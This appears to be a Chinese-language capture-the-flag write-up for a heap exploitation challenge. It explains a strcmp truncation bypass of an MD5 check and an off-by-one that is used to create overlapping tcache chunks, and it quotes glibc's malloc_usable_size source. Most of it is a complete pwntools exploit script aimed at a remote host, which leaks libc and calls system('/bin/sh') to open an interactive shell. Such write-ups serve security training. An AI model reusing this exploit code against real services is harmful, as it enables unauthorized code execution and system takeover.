首先使用md5进行比较,但使用的是strcmp,比较的字符串中含有\0,可以导致截断
于是可以爆破出符合的key
edit中存在off by one,可以通过溢出来扩大tcache bin chunk的size,然后delete后申请回来,就能制造overlap chunk,然后控制func指针和参数即可
其中malloc_usable_size函数源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| static size_t musable (void *mem) { mchunkptr p; if (mem != 0) { p = mem2chunk (mem);
if (__builtin_expect (using_malloc_checking == 1, 0)) return malloc_check_get_size (p);
if (chunk_is_mmapped (p)) { if (DUMPED_MAIN_ARENA_CHUNK (p)) return chunksize (p) - SIZE_SZ; else return chunksize (p) - 2 * SIZE_SZ; } else if (inuse (p)) return chunksize (p) - SIZE_SZ; } return 0; }
size_t __malloc_usable_size (void *m) { size_t result;
result = musable (m); return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from pwn import *
sh = remote('192.168.1.104',8888)
libc = ELF('./libc-2.27.so')
def add(size): index = 0 checksum = index ^ size content = '\x00'
payload = p32(0x11451400) payload += p32(checksum) payload += p32(size) payload += p32(index) payload += '\x00'*0x3b payload += 'A\x01\x57\xf5\x61\x00' sh.sendafter('>',payload)
def show(index): size = 0 checksum = index ^ size content = '\x00'
payload = p32(0x11451400) payload += p32(checksum) payload += p32(size) payload += p32(index) payload += '\x00'*0x39 payload += p8(0x1) payload += p8(0) payload += 'A\x01\x57\xf5\x61\x00' sh.sendafter('>',payload)
def delete(index): size = 0 checksum = index ^ size content = '\x00'
payload = p32(0x11451400) payload += p32(checksum) payload += p32(size) payload += p32(index) payload += '\x00'*0x38 payload += p8(0x1) payload += p8(0)*2 payload += 'A\x01\x57\xf5\x61\x00' sh.sendafter('>',payload)
def edit(index,content): size = 0 checksum = index ^ size for x in content: if x == '\00': break checksum ^= ord(x)
payload = p32(0x11451400) payload += p32(checksum) payload += p32(size) payload += p32(index) payload += content.ljust(0x3a,'\x00') payload += p8(1) payload += 'A\x01\x57\xf5\x61\x00' sh.sendafter('>',payload)
add(0x4) add(0x4) add(0x4) add(0x4)
add(0x70)
add(0x4) add(0x4) add(0x4) add(0x4)
delete(3) delete(2)
edit(0,'a'*4 + p8(0x31)) delete(1)
add(0x20)
for i in range(7): add(0x70) delete(2) delete(3) for i in range(9,14): delete(i)
delete(4) edit(1,'b'*0x8 + p8(0x88))
add(0x4)
add(0x4) show(3) sh.recvuntil('\n') libc_base = u32(sh.recv(4)) - 0x1507f8 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh\x00').next() print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
edit(5,'a'*0x4 + p8(0x31)) delete(6) add(0x20) edit(4,'b'*0x8 + p32(system_addr) + p32(binsh_addr))
show(7)
sh.interactive()
|